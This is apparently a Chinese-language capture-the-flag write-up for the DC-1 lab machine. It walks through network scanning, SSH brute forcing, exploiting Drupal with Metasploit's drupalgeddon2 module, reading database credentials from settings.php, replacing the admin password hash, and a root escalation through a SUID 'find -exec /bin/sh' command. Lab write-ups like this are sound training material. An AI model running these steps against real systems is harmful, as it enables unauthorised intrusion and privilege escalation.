DC-1
信息搜集
nmap扫描
1 | nmap -A192.168.112.0/24 |
具体解释如下:
nmap
:表示调用 nmap 工具进行扫描。-A
:启用”全面扫描”选项,包括操作系统检测、服务版本检测、脚本扫描和Traceroute等功能。192.168.124.0/24
:指定要扫描的目标网络范围,即以 “192.168.124” 开头的所有IP地址。/24代表一个 CIDR(Classless Inter-Domain Routing)子网掩码,用于指定 IP 地址的网络前缀长度。
CIDR 是一种用于划分和分配 IP 地址的方法,它将一个 IP 地址划分为网络部分和主机部分。CIDR 标记形式为 x.x.x.x/y,其中 x.x.x.x 表示 IP 地址,y 表示网络前缀的位数。
对于 /24,它表示 IP 地址的前 24 位是网络地址,剩余 8 位是主机地址。换句话说,这意味着将前 24 位设置为相同的 IP 地址都属于同一网络,可容纳 2^8-2 = 254 个主机(排除网络地址和广播地址)。
具体到提供的示例 “192.168.124.0/24”,它表示以 “192.168.124” 开头的所有 IP 地址都属于同一网络,共有 256 个 IP 地址可用,其中 192.168.124.0 是网络地址,192.168.124.255 是广播地址,可以使用 192.168.124.1 到 192.168.124.254 的这 254 个 IP 地址作为主机地址。
也可使用
1 | arp-scan -l |
先扫出192.168.112.131
再使用
1 | nmap -A -p 1-65535 192.168.112.131 |
更快一点
开启了22,80,111端口
1 | 22/tcp open ssh: 表示目标主机上的22端口开放,并且运行着SSH服务。 |
SSH
共有两种登录方式:
口令验证登录
- 服务器生成公钥和私钥。
- 客户端发起连接请求,服务器将公钥发给客户端。
- 客户端生成口令(服务器密码),并用服务器发来的公钥加密,发送给服务器。
- 服务器通过私钥解密,拿到口令(服务器密码),如果正确则认证成功。
密钥验证登录
- 客户端生成公钥和私钥,将公钥提前部署在服务器上。
- 客户端发起连接请求。
- 服务器随机生成一个字符串,用本地的公钥加密,发送给客户端。
- 客户端通过私钥解密,将解密后的字符串发送给服务器。
- 服务器验证本地字符串和客户端发来的字符串的一致性,如果通过,则认证成功。
22是一个ssh端口,可以尝试一下爆破密钥
1 | nmap --script=ssh-brute 192.168.112.131 |
没有成功
访问IP
尝试了一下弱密码爆破,也没啥
但是有个admin用户是确定的
用火狐插件Wappalyzer扫了一下发现CMS是Drupal
msf getshell
使用msf搜索相关漏洞
1 | msfconsole |
然后使用第二个漏洞
1 | use exploit/unix/webapp/drupal_drupalgeddon2 |
发现可以成功连接
执行命令
寻找一下flag相关文件
1 | find / -name *flag* |
有个/home/flag4/flag4.txt,还有个/var/www/flag1.txt
先cat /var/www/flag1.txt一下
提示:Every good CMS needs a config file - and so do you.
1 | 每个好的CMS都需要一个好的配置文件,你也一样 |
再cat /home/flag4/flag4.txt
提示
1 | Can you use this same method to find or access the flag in root? |
应该是需要root权限
提取配置文件信息
先去看一下/var/www/sites/default/settings.php配置文件
1 | cat /var/www/sites/default/settings.php |
发现了flag2数据库的账号密码
获取数据库信息
先得使用一段python命令获得一个交互式shell,直接运行mysql连接命令连接不上
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
使用pty
模块来生成一个新的交互式bash终端,当在Kali Linux中执行该命令时,它将生成一个交互式bash终端,使您能够使用更多的shell功能和命令。
在users表中找到了管理员相关的信息
pass是经过hash加密得到的,爆破不了,邮箱也没有什么利用点
思路是尝试找到其加密脚本,利用其加密规则加密一个自定义的密码,然后替换管理员密码即可
1 | cat /var/www/scripts/password-hash.sh |
1 | #!/usr/bin/php |
执行命令:
替换密码
登录管理员账户
Content中有个flag3
1 | 特殊权限将帮助找到密码,但您需要使用 "-exec" 命令来确定如何获取 shadow 文件中的内容 |
看一下文件内容
权限不够,尝试一下suid提权吧
有一个find命令
使用:
1 | /usr/bin/find /tmp -exec whoami \; |
1 | /usr/bin/find /tmp -exec whoami \; 这个命令是在 /tmp 目录下使用 find 命令,并执行 whoami 命令来查找当前用户的信息。 |
我们只管find可以执行命令就行了
获得交互式shell
1 | find / -name 6 -exec "/bin/sh" \; |
读取最后一个flag文件
1 | cd /root |